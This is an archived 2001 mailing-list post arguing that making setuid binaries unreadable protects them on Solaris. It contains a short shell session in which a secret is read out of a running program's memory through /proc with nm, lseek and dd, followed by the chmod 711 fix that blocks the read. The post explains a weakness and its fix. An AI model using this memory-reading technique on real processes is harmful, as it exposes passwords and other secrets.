Neale Banks writes: > You are proposing that some significant security is obtained by making > an executable file unreadable? Here's a sample session under Solaris: # head -1 > login.c static char secret[10]; main() { read(0,secret,10); setuid(1); sleep(60); } # gcc -o login login.c # echo OSSIFRAGE | ./login & 25145 # nm login | grep secret [35] | 133268| 10|OBJT |LOCL |0 |17 |secret # su daemon -c '(lseek 133268; dd bs=10 count=1) < /proc/25145' OSSIFRAGE 1+0 records in 1+0 records out That's right: tracing is allowed even though there hasn't been an exec. Many programs that use setuid() can be exploited this way. For example, you lose all security if you use the chdir()/setuid() mechanism suggested by Steve Bellovin and Gene Spafford. Fortunately, as I said, there's a trivial workaround. All you have to do is make the binaries unreadable: # chmod 711 login # su daemon -c ': < /proc/25145' su: /proc/25145: cannot open Perhaps the Sun kernel developers aren't aware that it's bad to allow tracing after a program changes uid, but obviously they are aware that it's bad to allow tracing of an unreadable program. In fact, the /proc documentation identifies this as a security measure. I'm not saying that unreadability provides some sort of magic immunity against any conceivable OS bug; but I haven't found any systems where it's inadequate. ---Dan
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:28:42 PDT